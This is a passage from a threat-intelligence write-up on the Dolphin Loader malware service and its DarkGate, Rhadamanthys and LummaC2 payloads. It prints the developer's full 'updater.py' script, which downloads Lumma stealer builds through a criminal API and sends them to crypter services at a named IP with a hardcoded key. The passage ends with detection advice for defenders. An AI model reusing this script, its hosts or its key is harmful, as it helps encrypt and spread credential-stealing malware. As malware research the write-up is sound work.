Let’s take a brief look at the DarkGate sample. This sample is slightly different from other ones because this sample is lacking some features like credential stealing, AV detection, screenshot capture, etc. This sample only has the capabilities to inject the final payload into another process and that’s pretty much it.
The loader checks if it’s running with an argument “script.a3x” and if it’s not the loader displays an “Executing manually will not work” to the user and terminates itself. If the loader fails to read “script.a3x”, the message box “no data” will be displayed. So, make sure to add script.a3x as an argument in the debugger.
The second malicious AutoIt script from “Core.zip” drops the Rhadamanthys stealer.
The DarkGate configuration for the second payload is similar to the previous one.
The Power of Opendir
So, I’ve noticed that there is an open directory at comodozeropoint[.]com/Updates/, which belongs to the Dolphin Loader developer. I found a script hosted on that domain called “updater.py” particularly interesting:
import os
import configparser
import requests
import pyminizip
import pyzipper
import schedule
import time
encryption_api_key = "h8dbOGTYLrFLplwiNZ1BLl3MhnpZCmJY"
encryption_server_address_packlab = "http://194.87.219.118/crypt"
encryption_server_address_easycrypt = "http://another.server.address/crypt"
api_url = "https://apilumma1.fun/v1/downloadBuild"
defread_autocrypt_ini(file_path):
config = configparser.ConfigParser()
temp_config_path = file_path + ".tmp"
with open(file_path, 'r') as original_file, open(temp_config_path, 'w') as temp_file:
for line in original_file:
line = line.split('#')[0].strip()
if line:
temp_file.write(line + '\n')
config.read(temp_config_path)
os.remove(temp_config_path)
settings = {
'auto_crypt': config.getboolean('Settings', 'auto_crypt', fallback=False),
'auto_crypt_time': config.getint('Settings', 'auto_crypt_time', fallback=0),
'crypt_service': config.get('Settings', 'crypt_service', fallback=''),
'lumma_stealer': config.getboolean('Settings', 'lumma_stealer', fallback=False),
'lumma_api_key': config.get('Settings', 'lumma_api_key', fallback=''),
'lumma_build_zip_password': config.get('Settings', 'lumma_build_zip_password', fallback=''),
'filename': config.get('Settings', 'filename', fallback=''),
'chatid': config.get('Settings', 'chatid', fallback='')
}
return settings
defdownload_and_extract_zip(api_url, api_key, save_path, zip_password, filename):
url = f'{api_url}?access_token={api_key}'
response = requests.get(url)
zip_file_path = os.path.join(save_path, f'{filename}.zip')
with open(zip_file_path, 'wb') as f:
f.write(response.content)
with pyzipper.AESZipFile(zip_file_path, 'r') as zip_ref:
zip_ref.extractall(path=save_path, pwd=zip_password.encode('utf-8'))
os.remove(zip_file_path)
print(f"Downloaded and extracted files to: {save_path}")
# پیدا کردن فایل استخراج شده
extracted_file_path = None
for file in os.listdir(save_path):
if file.endswith('.exe'):
extracted_file_path = os.path.join(save_path, file)
breakifnot extracted_file_path:
raise FileNotFoundError(f"Extracted file not found in: {save_path}")
return extracted_file_path
defencrypt_file(input_path, service):
try:
with open(input_path, 'rb') as file:
files = {'build.exe': file}
headers = {'Authorization': encryption_api_key}
if service == 'Packlab':
response = requests.post(encryption_server_address_packlab, headers=headers, files=files)
elif service == 'Easycrypt':
response = requests.post(encryption_server_address_easycrypt, headers=headers, files=files)
if response.status_code == 200:
return response.content
else:
raise Exception(f"Error: {response.status_code}, {response.text}")
except requests.exceptions.RequestException as e:
raise Exception(f"An error occurred: {e}")
defcreate_encrypted_zip(file_path, save_path, filename, password):
zip_file_path = os.path.join(save_path, f'{filename}.zip')
pyminizip.compress(file_path, None, zip_file_path, password, 5)
print(f"Encrypted zip file created at: {zip_file_path}")
defprocess_user_folders(root_folder):
for user_folder in os.listdir(root_folder):
user_folder_path = os.path.join(root_folder, user_folder)
if os.path.isdir(user_folder_path):
for slot_folder in os.listdir(user_folder_path):
slot_folder_path = os.path.join(user_folder_path, slot_folder)
if os.path.isdir(slot_folder_path):
ini_file_path = os.path.join(slot_folder_path, 'autocrypt.ini')
if os.path.exists(ini_file_path):
settings = read_autocrypt_ini(ini_file_path)
ifnot settings['auto_crypt']:
print(f"Skipping {slot_folder_path} because auto_crypt is False")
continuetry:
if settings['lumma_stealer']:
extracted_file_path = download_and_extract_zip(api_url, settings['lumma_api_key'], slot_folder_path, settings['lumma_build_zip_password'], settings['filename'])
else:
raise Exception("Lumma stealer is disabled")
except Exception as e:
print(f"Error with Lumma stealer: {e}")
last_build_folder = os.path.join(slot_folder_path, '__LASTBUILD__')
if os.path.isdir(last_build_folder):
for file in os.listdir(last_build_folder):
if file.endswith('.exe'):
extracted_file_path = os.path.join(last_build_folder, file)
breakelse:
print(f"No executable found in {last_build_folder}")
continueelse:
print(f"No __LASTBUILD__ folder found in {slot_folder_path}")
continueif settings['crypt_service'] == 'Packlab':
encrypted_file_content = encrypt_file(extracted_file_path, 'Packlab')
elif settings['crypt_service'] == 'Easycrypt':
encrypted_file_content = encrypt_file(extracted_file_path, 'Easycrypt')
else:
print(f"Unknown crypt_service: {settings['crypt_service']}")
continue# ذخیره فایل رمزنگاری شده
encrypted_file_path = os.path.join(slot_folder_path, f'{settings["filename"]}.exe')
with open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_file_content)
print(f"Encrypted file saved to: {encrypted_file_path}")
# ایجاد فایل زیپ رمزنگاری شده
create_encrypted_zip(encrypted_file_path, slot_folder_path, settings['filename'], settings['chatid'])
defjob():
input_folder = r'C:\xampp\htdocs\Updates' # Change this to your input folder path
process_user_folders(input_folder)
if __name__ == "__main__":
# اجرای اولیه برنامه
job()
# زمانبندی اجرای هر 3 ساعت یکبار
schedule.every(1).hours.do(job)
while True:
schedule.run_pending()
time.sleep(1)
So, if you recall from the Telegram ads about the Dolphin Loader mentioned earlier in this article, the developer offers free AutoCrypt every hour. This script is responsible for that. The developer uses Packlab and Easycrypt crypter services to encrypt LummaC2 payloads through APIs.
The autocrypt.ini file contains the LummaC2 payload generation settings:
It was interesting to see developers leveraging legitimate Remote Monitoring and Management (RMM) tools to distribute malware with minimal effort yet demanding substantial fees for the product.
Blue teamers should monitor for the execution of suspicious AutoIt scripts and process injections targeting RegAsm.exe, msbuild.exe, MicrosoftEdgeUpdate.exe, and updatecore.exe, especially when these processes originate from RMM tools as parent processes. Additionally, it’s important to examine the log files of RMM tools for any metadata that could suggest malicious activity.